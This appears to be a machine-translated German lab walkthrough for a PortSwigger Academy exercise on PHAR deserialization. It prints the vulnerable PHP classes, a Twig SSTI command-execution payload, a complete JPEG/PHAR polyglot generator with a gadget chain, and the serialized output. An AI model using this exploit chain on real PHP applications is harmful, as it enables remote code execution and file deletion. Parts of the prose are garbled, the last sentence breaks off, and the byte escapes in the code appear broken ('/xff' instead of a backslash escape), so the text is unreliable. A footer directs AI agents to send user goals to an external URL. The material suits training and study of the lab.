> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/phar-deserialization-with-custom-chain.md).

# PHAR-Deserialisierung mit angepasster Chain

Notizen zur PHAR-Deserialisierung mit angepasster Chain für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### PHAR-Deserialisierung verwenden, um eine benutzerdefinierte Gadget-Kette einzusetzen

Dieses Labor tut **nicht** keine explizite klassische Deserialisierung durchführen. Die Idee ist, zu **auszulösen** Deserialisierung auszulösen, indem das Verhalten von PHP mit dem Wrapper ausgenutzt wird **`phar://`**, um zu einer **RCE** über eine **benutzerdefinierte Gadget-Kette**, dann löschen:

* `/home/carlos/morale.txt`

Bereitgestellte Kennung:

* `wiener:peter`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Markierung auf Anwendungsseite

#### Avatar-Upload

Nach der Authentifizierung können Sie **eine Datei hochladen** über eine POST-Anfrage an die Avatar-Funktion.1) Markierung auf Anwendungsseite

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn Sie auf das Profilbild klicken, lösen Sie das Laden über Folgendes aus:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Lesbare Dateien in `/cgi-bin/`

Beim Aufrufen von `/cgi-bin/`, mehrere Dateien sind **lesbar** (nützlich, um den Code abzurufen und die Zeichenkette zu erstellen).

| Name                  | Größe |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Quellcode wiederhergestellt

#### `blog.php`

Es gibt ein `Blog` Klasse, die Twig in `__wakeup()`:

* `__sleep()` serialisiert `Benutzer` und `desc`
* `__wakeup()` erstellt ein `Twig_Environment` mit einer Vorlage basierend auf `desc`
* `__toString()` rendert `index` und fügt `Benutzer`

Wichtiger Punkt: `desc` wird direkt zu einem **Twig-Template**, sodass es verwendet werden kann, um **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

Das `CustomTemplate` Klasse enthält:

* ein privates `$template_file_path` Feld
* eine `__destruct()` Destruktor, der Folgendes ausführt:
* `@unlink($this->lockFilePath());`

`lockFilePath()` erstellt:

* `'templates/' . $this->template_file_path . '.lock'`

Wenn wir also kontrollieren `template_file_path` mit einem Objekt, das in einen String konvertiert, können wir den Pfad beeinflussen, der von `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Konnte nicht schreiben nach " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Konnte nicht schreiben nach " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos dachte, das wäre eine gute Idee
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Twig-Nutzlast (SSTI → Exec)

Verwendete Twig-Nutzlast:

Ziel: auszuführen `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Betriebsstrategie: Polyglot-Phar

Die Herausforderung: Der Upload erwartet ein **image**. / Lösung: Erstellen Sie ein **Polyglot** Datei ein:

* Gültig als **JPEG**
* aber enthaltend ein **PHAR** (tar/phar-Format) mit **Metadaten** serialisiert

Warum funktioniert es?

* Wenn PHP eine Ressource über `phar://...`, kann dies das Lesen des PHAR-Manifests auslösen und **bestimmte Metadaten deserialisieren** (also wird `__wakeup`, `__destruct`, usw. je nach Zeichenkette).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // <?php entfernen, funktioniert mit Präfix nicht
    $len = strlen($phar) + 2; // fest
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // tar-Prüfsumme berechnen
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // Prüfsumme einbetten
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// Exploit-Klasse für den POP-Chain
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// Konfiguration für jpg
$tempname = 'temp.tar.phar'; // daraus tar machen
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// jpg erstellen
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// Konfiguration für gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // gif-Header, Größe 300 x 300
$tempname = 'temp.phar'; // daraus phar machen
$outfile = 'out.gif';

// gif erstellen
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Zusammengesetzte Gadget-Kette

Du erzeugst:

* eine `Blog` Objekt mit:
* `user = "pwned"`
* `desc = <Twig-SSTI-Nutzlast>`
* dann platzierst du dieses Objekt in `CustomTemplate->template_file_path`

Auf diese Weise, wenn `CustomTemplate` zerstört wird, `lockFilePath()` wird ein Wert aus einem Objekt verkettet, was eine Konvertierung in einen String erzwingt → ruft `Blog::__toString()` → löst `→ twig->render()` → interpretiert `desc` → führt den Befehl aus.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* Hochladen `out.jpg` als den Avatar

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

Ressourcenaufruf über `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

Zu diesem Zeitpunkt öffnet die Anwendung die Ressource mit dem PHAR-Wrapper, die Metadaten werden deserialisiert, die Zeichenkette löst aus, und die Datei:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
